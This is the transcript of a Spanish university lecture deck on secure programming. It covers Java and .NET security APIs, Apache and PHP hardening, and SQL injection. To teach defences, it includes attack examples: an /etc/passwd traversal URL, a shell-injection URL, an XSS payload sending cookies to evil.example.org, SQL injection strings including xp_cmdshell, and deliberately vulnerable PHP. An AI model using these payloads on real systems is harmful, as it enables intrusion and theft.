Download Seguridad en la Programación

Document related concepts
no text concepts found
Transcript
Programación
Segura
Gustavo A. Isaza Echeverry
Seguridad Informática –
Programa de Ingeniería de Sistemas y Computación
Universidad de Caldas
Agenda


Conceptos generales
APIS y Arquitecturas de Seguridad en
Lenguajes de Programación
 Seguridad
en Java
 Seguridad .Net
 Seguridad en Apache, PHP, BD Seguras
 Seguridad CORBA

Conclusiones
Ideas Previas
•La Seguridad es una medida NO un característica
•Costo
•Usabilidad
•Parte de un diseño
Problemas?
•No hay conciencia y las estadísticas de incidentes no
mejoran!!!
•Falta de competencias
•“El problema es del Admor Red / Oficial de Seguridad
Informático”
•Desconocimiento de las
frameworks….. Seguros.…
arquitecturas,
API’S,
Problemas de seguridad
•Ausencia infraestructura seguridad
•Errores administrador/usuario
•Exploits
•Programar bien !!!
•entender cómo funcionan las cosas
•aprender buenas políticas
•aprender trampas habituales
Desbordamientos
• Es extremadamente sencillo equivocarse
• Mal diseño del lenguaje
• Malas prácticas de programación
• Hay lenguajes inmunes, pero no siempre podremos
usarlos
• En C, cuidado con: strcpy, strcat,sprintf, gets, scanf
El Desbordamiento del Buffer: Buffer OverFlow
Los desbordamientos de buffer se basan en
introducir el código en el espacio reservado
para las variables locales (los argumentos de
un método / función) y después modificar la
dirección de retorno/regreso (RET), donde
regresa la información, para que apunte a un
offset en donde hemos introducido nuestro
código fuente.
Este código puede ser - por ejemplo - una
ShellCode, : bash, sh, entre otros.
Desbordamientos: defensa
• Programación defensiva. Cuidado con:
strcpy() strcat() sprintf() scanf()
sscanf() fscanf() vfscanf() vsprintf
vscanf() vsscanf() streadd()
strecpy() strtrns()
• Evitarlas siempre que sea posible, casi todas tienen
alternativas razonables.
Desbordamientos: más con las entradas
gets() getchar(), fgetc(), getc(),
read()
Consejo, comprobar:
• Siempre los límites!
• Longitud de los datos antes de almacenarlos
• No pasar datos excesivamente grandes a otras
funciones
Seguridad en Java

Seguridad General





Arquitectura de la Seguridad
Arquitectura de la Criptografía
Política de permisos
API para bloqueos de privilegios
Certificados X.509 y listas de certificados
revocados
Seguridad en Java
JVM

Tres niveles de seguridad:
 Cargador de clases
 Verificador
 Gestores de seguridad
Seguridad en Java
1.El cargador de clases (Class Loader), que determina como y cuando
pueden cargar código los programas y garantiza que los componentes
del sistema no han sido reemplazados.
2.El verificador de archivos de clases (Class file verifier), que
garantiza que el código tiene el formato correcto, que el bytecode no
viola las restriciones de seguridad de tipos de la JVM, que las pilas
internas no puedan desbordarse ni por arriba ni por abajo y que las
instucciones en bytecode tengan parámetos de tipos correctos.
3.El gestor de seguridad (Security Manager), que controla el acceso a
los recursos en tiempo de ejecución. Los recursos sobre los que tiene
control son multiples: E/S de red y ficheros, creación de cargadores de
clases, manipulación de hilos de ejecución, ejecución de programas
externos (del SO), detener la JVM, cargar código nativo en la máquina
virtual, realizar determinadas operaciones en el entorno de ventanas o
cargar ciertos tipos de clases.
Usando el Security Manager
Class MySecurityManager extends SecurityManager {
.....
}
try {
System.setSecurityManager(new MySecurityManager(”java.policy"));
} catch (SecurityException se) {
System.out.println("SecurityManager already set!");
}
public boolean canRead() {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkRead(path);
}
return fs.checkAccess(this, false);
}
Security Manager
• Identity - Bases para las decisiones de seguridad
• Origin – Desde donde proviene el código
• Signature – A qué código corresponde?
java.security.CodeSource
• Permission – Encapsula el acceso a una operación
particular
• Incluye un objetivo y una acción
p = new SocketPermission(“www.utp.edu.co”, “connect”);
p = new FilePermission(“/tmp/file1”, “*”);
Seguridad en Java
Arquitectura criptográfica
Desde el punto de vista de la seguridad, el conjunto de clases
de seguridad distribuidas con el Java 2 SDK pueden dividirse
en dos subconjuntos:
1.Clases relacionadas con el control de acceso y la
gestión de permisos.
2.Clases relacionadas con la Criptografía.
Arquitectura Criptográfica de Java (JCA) y
la Extension Criptográfica de Java (JCE).
Seguridad en Java






Certification Path
Java Authentication and Authorization Service (JAAS)
Java Generic Security Services (Java GSS-API)
Java Cryptography Extension (JCE)
Java Secure Socket Extension (JSSE)
Simple Authentication and Security Layer (SASL)
Arquitectura de la Criptografía


Java Cryptography Architecture (JCA)
Introducción

JDK 1.1



Resúmenes de mensajes
Firmas digitales
Java 2 SDK



resúmenes de mensajes
X.509
Arquitectura para grano fino, flexible, extensible y
control de acceso altamente configurable.
Arquitectura de la Criptografía

Proveedores de servicios criptográficos





Firma digital (DSA)
MD5 y SHA-1
Generador de Claves DSA
Certificados X.509
KeyStore
JCE


Java Cryptography Extension (JCE)
Introducción



Marco de trabajo y de implementación para el
cifrado.
Generación y comprobación de claves
Algoritmos de autenticación de mensajes (MAC)
JCE

Introducción






Ayuda para el cifrado simétrico
Ayuda para el cifrado asimétrico
Ayuda para el cifrado en bloque
Cifradores en flujo
Flujos seguros
Objetos sellados
JCE

API JCE

Cifrado simétrico en bloque DES, RC2 e IDEA
 Cifrado simétrico en flujo RC4
 Encriptación asimétrica RSA
 Comprobación de claves
JCE


API JCE
 Cifrado Password-Based(PBE)
 Algoritmo de autentificación de claves (MAC)
Proveedor de Servicios SunJCE
 Una implementación del DES (FIPS PUB 46-1),
Triple DES, y algoritmos de encriptación Blowfish
en el Electronic Code Book (ECB), Cipher Block
Chaining (CBC), Cipher Feedback (CFB), Output
Feedback (OFB), y modos Propagating Cipher
Block Chaining (PCBC).
 Un generador de par de claves Diffie-Hellman para
generar un par de valores públicos y privados
convenientes para el algoritmo de Diffie-Hellman.
JCE

Proveedor de Servicios SunJCE



Una implementación de HMAC-MD5 y algoritmos
keyed-hashing HMAC-SHA1 definido en RFC 2104.
Una implementación del esquema de relleno
descrito en PKCS #5.
Una implementación del keystore para el tipo
propietario del keystore llamando "JCEKS".
Ejemplos

HMAC-MD5
import java.security.*;
import javax.crypto.*;
public class initMac {
public static void main(String[] args) throws Exception {
KeyGenerator kg = KeyGenerator.getInstance("HmacMD5");
SecretKey sk = kg.generateKey();
Mac mac = Mac.getInstance("HmacMD5");
mac.init(sk);
byte[] result = mac.doFinal("Hi There".getBytes());
}
}
Seguridad en Java



Control de acceso – Granularidad
Tools (jar, keytool, jarsigner, policytool)
Modelo de Permisos
 Java.security.permission

Políticas de Seguridad
 PolicyTool
 Gestor de Seguridad: java.security.manager
Motor JCA
Clase JCA 1.2
Función
java.security.Message
Digest
Genera resumen de mensajes (hash).
java.security.Signature
Firmado de datos y verificación firmas.
java.security.KeyPairG
enerator
Generar pares de claves (pública y privada) para un algoritmo.
java.security.KeyFactor
y
Convertir claves de formato criptográfico a especificaciones de
claves y vice versa
java.security.certificate.
CertificateFactory
Crear certificados de clave pública y listas de revocación(CRLs).
java.security.KeyStore
Crear y gestionar un almacen de claves (keystore).
java.security.Algorithm
Parameters
Gestionar los parámetros de un algoritmo,
incluyendocodificación y descodificación.
java.security.Algorithm
ParameterGenerator
Generar un conjunto de parámetros para un algoritmo.
java.security.SecureRa
ndom
Generar números aleatrorios o pseudo aleatrorios
Motor JCE
Clase JCE 1.2
Función
java.crypto.Ciphe
r
Proporciona encriptación y desencriptación.
java.crypto.KeyA
greement
Proporciona un protocolo de intercambio de claves.
java.crypto.KeyG
enerator
Proporciona un generador de claves simétricas.
java.crypto.Mac
Proporciona un algoritmo de autentificación de
mensajes.
java.crypto.Secre
tKeyFactory
Representa una factoría de claves secretas.
Seguridad en Java

JCA & JCE (Java Crypto Architecture, Java Crypto
Extensions)

Javax.crypto.interfaces
 DHKey
 DHPrivateKey
 DHPublicKey
 Sockets Seguros (JSSE)

Java.security.Cert
 X509Certificate, X509CRL
 X509Extension
Seguridad en Java
El paquete java.security
El paquete java.security consiste básicamente en clases
abstractas e interfaces que encapsulan conceptos de seguridad
como certificados, claves, resumenes de mensajes y firmas
digitales.
En el JCA los proveedores pueden implementar tres clases:
•KeyPairGenerator. Se emplea para crear claves públicas y
privadas.
•MessageDigest. Prorciona la funcionalidad de algoritmos de
resumen de mensajes como el MD5 y el SHA.
•Signature. Se emplea para el firmado digital de mensajes.
KeyPairGenerator
("DSA");
kpg
=
KeyPairGenerator.getInstance
Seguridad en Java
El paquete java.security.cert
Añade soporte para generar y usar certificados, incluye clases e
interfaces específicas para soportar certificados X.509.
•CertificateFactory. Se emplea para generar certificados y
listas de revocación (CRL).
•Certificate. Es una clase para agrupar certificados de
diferentes formatos pero usos comunes importantes
•CRL. Clase abstracta para gestionar distintos tipos de listas
de revocación de certificados.
•X509Certificate.
Clase
abstracta
para
representar
certificados X.509.
•X509CRL. Clase abstracta para una lista de revocación de
certificados X.509.
•X509CRLEntry. Es una clase abstracta para las entradas de
las listas de revocación
Seguridad en Java

Ejemplos:
 Perm = new
java.io.FilePermission(“/tmp/abc”,”read”) //AWT
Permission, NetPermission
 MessageDigest m =
MessageDiggest.getInstance(“MD5”)
 Java.security.MessageDiggest
 Java.security.signature
 Java.security.KeyPairGenerator
Seguridad en Java
•Extensión de Sockets Seguros de Java (JSSE)
•http://java.sun.com/products/jsse/
•Servicio de Autentificación y Autorización de Java
(JAAS)
•http://java.sun.com/products/jaas/
Arquitectura de seguridad de .NET
Arquitectura de seguridad de ASP.NET
Configurar la Seguridad en .NET
Seguridad en .NET
ACCESO SEGURO A DATOS EN .NET
•Acceso a BD de datos mediante ADO.NET
•Formas seguras de acceder a la BD
•Almacenamiento seguro de secretos
AUTENTICACIÓN MEDIANTE FORMULARIOS EN .NET
•Autenticación mediante formularios básica
•Autenticación mediante formularios y XML
•Autenticación mediante formularios y base de datos
•Autenticación mediante formularios y tickets personalizados
•Autenticación mediante formularios sin cookies
AUTENTICACIÓN MEDIANTE WINDOWS EN .NET
•Autenticación básica
•Autenticación mediante resúmenes
•Autenticación integrada de Windows
•Protección de directorios y documentos
•Representación de usuario
AUTENTICACIÓN MEDIANTE CERTIFICADOS EN .NET
•Introducción a los certificados digitales
•Criptografía con .NET
•Autoridades de certificación
•Canales seguros con SSL
•Autenticación mediante certificados digitales
•Acceso a la información de los certificados desde ASP.NET
SEGURIDAD EN SQL SERVER
SEGURIDAD EN SERVICIOS WEB XML DESARROLLADOS CON .NET
Seguridad de código
Seguridad en Windows

Autenticación de usuarios
 Logon
interactivo
 Autenticación en red

Control de acceso basado en objetos
 Permite

limitar los recursos al usuario autenticado
Limitación con aplicaciones no confiadas por el
usuario
 Mecanismo
Todo - Nada
Seguridad de código
Solución .NET

Desarrollada sobre la seguridad Windows
 Nunca


podremos tener mayores privilegios
Centrada en el código, no en el usuario
Identificación del código por evidencias
 Permite

distintos niveles de seguridad
Muy granular
 Conjunto

estándar de permisos ampliable
Fácil de administrar
 Distintos
niveles de administración
Seguridad de código
Permisos

Protección de recursos y operaciones

SecurityPermission
 SocketPermission
 WebPermission
 PrintingPermission

Acceso al interfaz de usuario


UIPermission
Protección de ficheros y directorios

FileIOPermission
 FileDialogPermission
Seguridad de código
Permisos (II)

Acceso al entorno, registro y metadatos
 EnvironmentPermission
 RegistryPermission
 ReflectionPermission
 DNSPermission
 EventLogPermission
 ServiceControllerPermission
Seguridad de código
Permisos (III)

Protección de datos







DirectoryServicesPermission
IsolatedStorageFilePermission
OleDbPermission
SqlClientPermission
MessageQueuePermission
PerformanceCounterPermission
Autenticación

PrincipalPermission
Seguridad basada en roles
Autenticación y autorización

Autenticación


Autorización


Proceso que verifica la identidad del usuario
Proceso que determina si el usuario puede realizar una
operación determinada
Autenticación .NET

Windows
 Personalizable
 Sólo en ASP.NET


Forms && Passport
Autorización .NET
Seguridad basada en roles
Identities, principals

Identity


Encapsula información sobre un usuario
Principal

Representa el contexto de seguridad sobre el que corre la
aplicación
 Incluye:



Usuario actual
Roles del usuario actual
Tres tipos

Windows
 Generic
 Custom
Seguridad basada en roles
Autorización de Principals


De forma imperativa con PrincipalPermission


p = new PrincipalPermission(“DOMAIN\\Usuario”…)
p.Demand()
De forma declarativa con PrincipalPermissionAttribute


If (MyPrincipal.IsInRole(…))
[PrincipalPermissionAttribute(SecurityAction.Demand, Name =
“DOMAIN\\Usuario”,…]
Válido para cualquier tipo de Principal

Sin necesidad de cambios
Apache && PHP
Seguridad
Consideraciones




Quién tiene acceso físico?
Quién tiene acceso shell?
Apache escribe en los filesystem?
Limitar los post/get, cookies, sesiones?
Recomendaciones básicas




Deshabilitar los servicios no usados, actualizar el
servidor, usar los archivos de configuración
recomendados
Habilitar logwatch y logcheck y actualizar los reportes
Habilitar una herramienta de verificación de integridad
de archivos
configurar iptables – Ports 22, 80, 443 tomcat?
Asegurando Apache
Configurando Apache





Deshabilitar servicios no indispensables
Verificar los bugtracks y actualizar
Proteger los directorios /var/www/
Crear un directorio personalizado /var/www/error
Habilitar los .htaccess y proteger los archivos de users y
password del http
mod_dosevasive


Fácil de configurar
Puede ayudar a evadir ataques de DoS bloqueando
direcciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevasive20.so
<IfModule mod_dosevasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSPageInterval 1
DOSSiteCount 50
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSEmailNotify [email protected]
DOSLogDir "/tmp/mod_dosevasive“ (make writable by apache only)
</IfModule>
Características mod_security





Los filtros se aplican antes de ejecutar los scripts
Soporta SSL
Entienden el protocolo http
Hace logging completo incluyendo post data
Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de virtual
hosts
Ejemplo mod_security
<IfModule mod_security.c>
SecFilterEngine On
# Prevent OS specific keywords
#index.php?include=filename
SecFilter /etc/passwd
# Prevent path traversal (..) attacks
SecFilter "\.\./"
# Very crude filters to prevent SQL injection attacks
SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"
</IfModule>
Revisar el Servidor
Nmap (nmap –I –sV servidor)
 Nessus http://www.nessus.org
 CIS Linux Benchmark Scan
http://www.cisecurity.org/bench_linux.html

Seguridad en PHP
Tipos de Ataques a PHP



Ejecución de comandos y/o escribir en los filesystem
Sql injection
Session Hijacking
Cross Site Scripting (xss)
Directory Transversal Attack
Este fallo es muy común y simple. Consiste en realizar un
descenso de directorios usando la referencia ../ al directorio
padre.
Un ejemplo de esto seria el siguiente:
<html>
<head>PHP para mostrar ficheros de texto</head>
<body>
<?
if ($fp=fopen($filename,"r"))
{
while(!feof($fp))
{
$contenido=fgets($fp,500); print("<p>" .
$contenido);
}
}
else
{
print("Error al abrir el fichero");
}
?>
</body> </html>
Contenido del programa show_text_file.php
Este programa de ejemplo esta escrito en PHP y simplemente
lee el archivo especificado y lo muestra, tal y como vemos en el
siguiente escenario:
Ejemplo:
victima.com/cgibin/show_text_file.php?filename=introduccion.txt
Salida:
PHP para mostrar ficheros de texto
Esto es un ejemplo
esta es la línea 1
esta es la línea 2
esta es la línea 3
Veamos ahora lo que pasa si usamos el escalado
de directorios:
Ejemplo:
www.victima.com/cgibin/show_text_file?filename=../../../../../etc/passw
d
PHP para mostrar ficheros de texto
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh (... etc)
Command Execution Attack
#!/usr/bin/perl
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Print Environment</title></head>
<body> EndOfHTML
$HOST=$ENV{"QUERY_STRING"};
$HOST=~ s/%(..)/pack("c",hex($1))/ge;
print "Resolviendo Dominio $HOST";
system("/usr/bin/nslookup $HOST"); print
"<br></body></html>";
El usuario como atacante podría introducir un carácter que
fuera interpretado de una forma especial por la shell.
Ejemplos de tales caracteres son : ; (separa 2 comandos
distintos) | (pipe) &, etc.
Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirve
para ejecutar 2 comandos distintos en una misma línea. Por
ejemplo echo hola; echo mundo sacaría por pantalla hola
mundo.
Veamos que sucede si introducimos un ;
http://victima.com/cgibin/nslookup.cgi?falsodominio;/usr/bin/id
Salida:
Resolviendo
Dominio
falsodominio;/usr/bin/idServer:
ganimedes Address: 172.26.0.5#53 ** server can't find
falsodominio: NXDOMAIN uid=33(www-data) gid=33(wwwdata) groups=33(www-data)
Expresiones regulares
• Usarlas para determinar lo que es válido
• Lo que no encaje, es invalido
• Casi todos los lenguajes incluyen bibliotecas
• Hay ligeras diferencias
• Podemos utilizar expresiones regulares para aceptar lo
que esté permitido. Ejemplo:
• El fichero debe estar en c: o d:
• El camino contiene una serie de barras
invertidas y caracteres alfanuméricos
• El nombre va detrás del camino, es
alfanumérico, de 32 caracteres como máximo,
seguido de un punto y termina con txt, gif, jpg
ˆ[cd]:(?:\\\w+)+\\\w{1,32}\.(txt|jpg|gif)$
Asegurando PHP

Default php.ini < V.4.8
; WARNING ;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.


Actualizar instalaciones
Hay mucha vulnerabilidades en el archivo de
configuración (GLOBAL_VARS, SESSIONS, etc)
Configuraciones para asegurar PHP
display_errors = Off (turn on with ini_set or .htaccess)
log_errors = On
error_reporting = E_ALL (better error reporting)
session.save_path=/opt/php/session session.gc_maxlifetime=600
(ten minutes of inactivity)
safe_mode = On (enable if possible)
safe_mode_gid = On (enable if possible)
Más configuraciones




register_globals = Off
Never turn on
Too easy to write insecure code
Auto initializes variables from Get/Post/Cookie data
URL= index.php?administrator=xyz
<?php
if (isset($administrator))
{
$authorized = true;
}
?>
Eliminar Javascript y reducir
ataques XSS
Use preg_replace() on …
javascript: onclick ondblclick onmousedown
onmouseup onmouseover
onmousemove onmouseout onkeypress
onkeydown onkeyup
Register Globals
Está deshabilitado por defecto en PHP superiores a la 4.2, no
representa una vulnerabilidad pero si un riesgo
Se debería trabajar register_globals deshabilitado
<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>
Con register_globals
habilitado, esta página
puede ser llamada con
?authorized=1 en la
cadena de consulta y
se puede hacer un
bypass
para
este
acceso.
El Método de despacho
•Asegurar que el filtro de
datos no puede ser
saltado
•Asegurar que los datos
inválidos
no
puede
interpretados como datos
válidos
•Identificar los datos de
origen
El Método include
Filtros
Reporte de Errores
 error_reporting
Esta directiva configura el nivel de reporte de errores, es recomendado
habilitarlo como E_ALL tanto para ambientes de desarrollo como de
producción
 display_errors
Cuales errores deben ser mostrados en la pantalla. (ON: Para
desarrollo OFF: para Producción)
 log_errors
Qué errores deben ser escritos en un archivo de logs. Debe estar en
ON
 error_log
Indica la localización de los archivos de logs.. Revisar permisos!!!!
Posible Spoofing desde el procesamiento de
Forms
http://www.atacame.com/form.html:
<form action="/process.php" method="post">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
<form action="http://www.atacame.com/process.php"
method="post">
<input type="text" name="color" />
<input type="submit" />
</form>
Cross-Site Scripting
Explotar la confianza que un usuario tiene sobre un sitio
Generalmente en WebSites que muestran datos remotos
Si se muestra el contenido que proviene desde una
fuente remota son los filtros apropiados, se puede
tener una vulnerabilidad de XSS.
Los datos remotos no son solo variables que vienen
desde el cliente, puede serlo un banner, email,
syndicated blog.
Ejemplo de un message board:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Este mensaje adiciona <br/> a cualquier entrada del
usuario, y anexa esto a un archivo, luego muestra el
contenido del archivo
Si el usuario ingresa:
<script>
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>
El siguiente usuario que visite el message board
con JavaScript habilitado es redirigido a evil.example.org,
y cualquier cookie asociada con el sitio actual es incluida
en la cadena de consulta del URL. Aquí todo está a la
imaginación del atacante
Disminuir los riesgos XSS
•Filtrar los datos externos
•Usar funciones existentes como:
htmlentities(),
strip_tags(), y utf8_decode()
Exponer las credenciales de Acceso
Interacción con bases de datos….
Generalmente se utilizan conexión a SMBD usando
credenciales para autenticación:
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>
Buena práctica utilizar módulos….
/path/to/secret-stuff, que solamente root pueda ( NO nobody)
:
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
Incluir este archivo dentro del httpd.conf :
Include "/path/to/secret-stuff"
Ahora puede usarse desde PHP $_SERVER['DB_USER'] y
$_SERVER['DB_PASS'] en el código.
No solamente no hay que volver a escribir el username y el
password en los scripts, también el WebServer no puede leer el
archivo secret-stuff, así que otros usuarios no pueden escribir
scripts que lean las credenciales de acceso; obviamente estas
variables no pueden quedar expuestas en phpinfo() o
print_r($_SERVER).
Sesiones
HTTP no tiene estado, no hay relación entre peticiones
sucesivas de los clientes
• Las ‘cookies’ se introdujeron para proporcionar una forma
de obtenerlo
•No solucionan completamente el problema:
• Tamaño limitado
• Manejadas por el cliente
• Los objetos de sesión son conjuntos de variables en el
lado del servidor que mantienen información sobre el
estado
• Ahora hace falta asociarlas con el usuario: el
identificador de sesión (session id)
Robo de sesiones
• Si un usuario es capaz de conseguir el identificador de
usuario de otro, tendremos problemas
• ¿Cómo?
• Adivinarla, calcularla, fuerza bruta, prueba
y error
• XSS
• Referers
• Husmeadores (packet sniffing)
Sesiones
El identificador de la sesión puede ser una pieza
importante para el atacante
Hay 3 formas de obtener este ID:
1. Prediction
2. Capture
3. Fixation
Prediction Consiste en adivinar el identificador de la sesión.
Capturar una sesión válida es el tipo más común de ataques.
Muchas de los ID’s de las sesiones son propagados en cookies o
variables GET
Fixation es un método simple de obtener un ID válido de sesión.
Con los métodos session_start() se puede abrir la vulnerabilidad
Criptografía en PHP
<?php
$msg = “Mensaje a cifrar";
$enc_msg = md5($msg);
print "hash2: $enc_msg <br /><br />";
?>
Mcrypt
Es una librería criptográfica que implementa más de 22
algoritmos de bloque
Blowfish
Cast-256
DES
Enigma
Gost
LOKI97
Panama
RC2
RC4
RC4-iv
Rijndael-128
Rijndael-192
Rijndael-256
Saferplus
Safer-sk64 xtea
Safer-sk128
Serpent
Threeway
TripleDES
Twofish
Wake
<?php
$string = “Mensaje de Prueba.";
//Llave para encriptar
$key = “Llave para encriptar";
// Algoritmo Encripción
$cipher_alg = MCRYPT_RIJNDAEL_128;
// Encrypt $string
$encrypted_string = mcrypt_encrypt($cipher_alg, $key,
$string, MCRYPT_MODE_CBC, $iv);
// Convertir a hexadecimal y mostrar la salida en un browser
print “Cadena cifrada: ".bin2hex($encrypted_string)."<p>";
?>
Es una librería que provee
soporte para 12 algoritmos
hashCRC32,
HAVAL160,MD5,
CRC32B….
SHA1……TIGER
<?php
Mhash
$hash_alg = MHASH_SHA;
$message = “Mensaje Prueba.";
$hashed_message = mhash($hash_alg,
$message);
print “El mensaje hash es: ".
bin2hex($hashed_message);
?>
http://www.phpclasses.org/browse/class/20.html
Clases en PHP
•AzDGCrypt
•Encrypt MD5 64
• AzDGPasswordGenerator
•Encryption&&Decr
yption with Rijndael
256
• BmpCrypt
• Crypt Class
•Cryptography
•Symmetric Block Cipher
Using Binary XOR
•ctlCipherSaber
•SSH && SSL in
PHP
Seguridad en
aplicaciones Web
Aplicaciones Web




Cuando se instalen aplicaciones web libres siempre
estar atento a las advertencias de seguridad
Matener un backup de las bases de datos
Estar familiarizado sobre como actualizar la aplicaciones
Usar modo seguro en lo posible
Seguridad en SQL
SQL Injection
Ataque contra un Gestor de Bases de Datos Relacional
que aprovecha la vulnerabilidad de una aplicación cliente
del mismo.
Dicha vulnerabilidad consiste en permitir mandar
instrucciones SQL adicionales a partir de un campo o un
parámetro de entrada - por lo que se dice han sido
"inyectadas".
SQL Injection
El ataque "SQL Injection" es posible dadas ciertas
características del lenguaje- SQL que lo dotan de
flexibilidad:
• Poder embeber comentarios en una sentencia SQL
•Poder escribir varias sentencias SQL juntas y
ejecutarlas en bloque.
•Poder realizar consultas de metadatos por medio de
"tablas de sistema".
SQL Injection
Una aplicación de acceso a datos que emplea entradas
de usuario como parámetros de una consulta SQL
común. Es típico que este tipo de consultas sean
construidas dinámicamente utilizando sentencias SQL
con concatenación de variables, al estilo:
"SELECT campo1, campo2,..., campoN FROM tablaX
WHERE campo1=" + mValor [+ ...]
SQL Injection
Donde mValor esta dado por una entrada de usuario.
Son éstas entradas las puertas a un SQL Injection ya
que, dependiendo del tipo de dato de mValor, si en lugar
de la entrada esperada se coloca:
a) ' Or 1=1 -b) 0 Or 1=1 -c) #01/01/01# Or 1=1 -"SELECT campo1, campo2,..., campoN FROM tablaX
WHERE campo1='' Or 1=1 -- lo que siga no importa"
SQL Injection
Lo que se consigue es de hacer válida la consulta al añadir
una clausula OR que siempre será cierta (1=1) así como de
obligar al intérprete SQL a omitir el resto de la sentencia
SQL original al introducir el guión doble (--) que le indica
que lo subsiguiente es un comentario.
El atacante puede, por ejemplo, tener acceso a la aplicación
sin necesidad de contar con las credenciales adecuadas.
' UNION SELECT id, name, '', 0,'' FROM sysobjects
WHERE xtype='U' --
'; EXEC xp_cmdshell 'net stop sqlserver', no_output
Protecciones SQL Injection
Existen ciertos principios a considerar para proteger
nuestras aplicaciones de un SQL Injection:
•No confiar en la entrada del usuario.
•No
utilizar
sentencias
SQL
construidas
dinámicamente.
•No utilizar cuentas con privilegios administrativos.
•No proporcionar mayor información de la
necesaria.
String s = inputSQL
s = inputSQL.Replace("'", "''")
s = s.Replace("[", "[[]")
Usar mysql_escape_string()s = s.Replace("%", "[%]")
addslashes()
s = s.Replace("_", "[_]")
Escapar los Datos
Private Function string SafeSqlLiteral( _ByVal inputSQL As String) As String
Return inputSQL.Replace("'", "''")
End Function
'...
Dim safeSQL As String = SafeSqlLiteral(Login.Text)
Dim myCommand As SqlDataAdapter = _
New SqlDataAdapter("SELECT au_lname, au_fname " & _
"FROM authors WHERE au_id = '" & safeSQL & "'", _
myConnection)
Seguridad en CORBA
CorbaSec : algunos principios
• Al igual que todas las especificaciones de la OMG, la de
CORBAsec es larga y tediosa
• Un agente usuario de Corba debe presentar sus
credenciales, es decir, sus atributos de seguridad:
•Identificación
•Privilegios
•Se maneja el concepto de dominios de seguridad y de
políticas de seguridad
Otros aspectos de CORBASec
Otros aspectos inherentes a seguridad en sistemas
distribuidos:
•Seguridad al nivel de granularidad de los objetos
• Delegación
• Definición de dominios de seguridad que no
corresponden con dominios de administración de
sistemas (jerarquías, federaciones)
• Interoperabilidad con otros sistemas de objetos
(DCOM, EJB)
• Si las aplicaciones incluyen acciones relacionadas
con seguridad o no.
Seguridad a todo nivel
•Las propuestas de la OMG para proveer seguridad en
Corba se centran en definir mecanismos para el acceso
seguro a objetos
• La necesidad de proteger todo tipo de información (no sólo
la que se provee por medio del modelo de objetos
distribuidos) hace necesario pensar en protecciones más
generales
• Estos mecanismos de protección general afectan la
implantación y el desempeño de sistemas distribuidos
Sistemas de objetos distribuidos
•En un esquema cliente/servidor la conexión es
iniciada siempre por el cliente, usando
directamente, RPC, RMI, etc.
sockets
•En Corba, al ser un conjunto de objetos distribuidos
interoperando libremente, el cliente y el servidor
pueden intercambiar roles dinámicamente al momento de
establecer cada conexión se debe localizar el objeto
referenciado, resultando en operaciones de consulta a
servidores de nombres
Implementación de llamadas
CORBA: IIOP
•IIOP: Internet Inter ORB Protocol
• IIOP = GIOP (+ CDR) + TCP/IP
• Se define una estructura de localización en Internet,
llamada IOR (Internet Object Reference)
•Los tipos de mensaje definidos están mapeados en
funciones que realizan el envío sobre TCP/IP, típicamente
usando la interfaz de sockets
•No se define un puerto “bien conocido” para el servidor,
más bien se establece que puede haber varios servidores
en el mismo “host”
•IIOP puede ir codificado sobre SSL
IIOP seguro: SECIOP
-Especificado en CORBAsec
-Define extensiones a IIOP que lo hacen
“consciente” de aspectos de seguridad
-El protocolo incluye aspectos de autentificación
basado en credenciales, para estableces asociaciones
- El tráfico se encripta en una subcapa del protocolo
SECIOP llamada GSSAPI, por lo que no se requiere
de SSL debajo
SECIOP vs. IIOP/SSL
- IIOP/SSL tiene un mayor nivel de difusión,
debido a que SSL es una tecnología madura
- SECIOP permite autentificar a nivel de objetos,
SSL a nivel de conexión
- En casos en que el acceso a cada objeto va por una
conexión separada, ambos ofrecen el mismo poder
- En caso de hacer tunneling debido, por ejemplo, a
restricciones de NAT, SECIOP sigue manteniendo la
granularidad a nivel de objetos, SSL no
Conclusiones
 Extensión del rol de la seguridad
 Revisión de las arquitecturas, APIS, Frameworks,
clases, paquetes….
 Conciencia del “buen” programador
 Reutilización
de
componentes
de
seguridad
(Autenticación, Criptografía, Certificados, Firmas …)
Entornos privativos
aplicaciones seguras.
y
Libre
ofrecen
soporte
 NO olvidar manejo de memoria, pilas, buffers……
para
Referencias
• Java Cryptography Architecture. API Specifications & Reference,
http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.
html
• Jan Kleindienst. CORBA and Java Compared: Security. Dept. of
Computer Science,Faculty of Mathematic and Physic,Charles
University, Prague
• The Open Web Application Security Project http://www.owasp.org/
• SecurityFocus http://www.securityfocus.org/
• Help Net Security http://www.net-security.org/
• Secure Coding http://www.securecoding.org/list/
• WEB APPLICATION SECURITY www.securityfocus.com/archive/107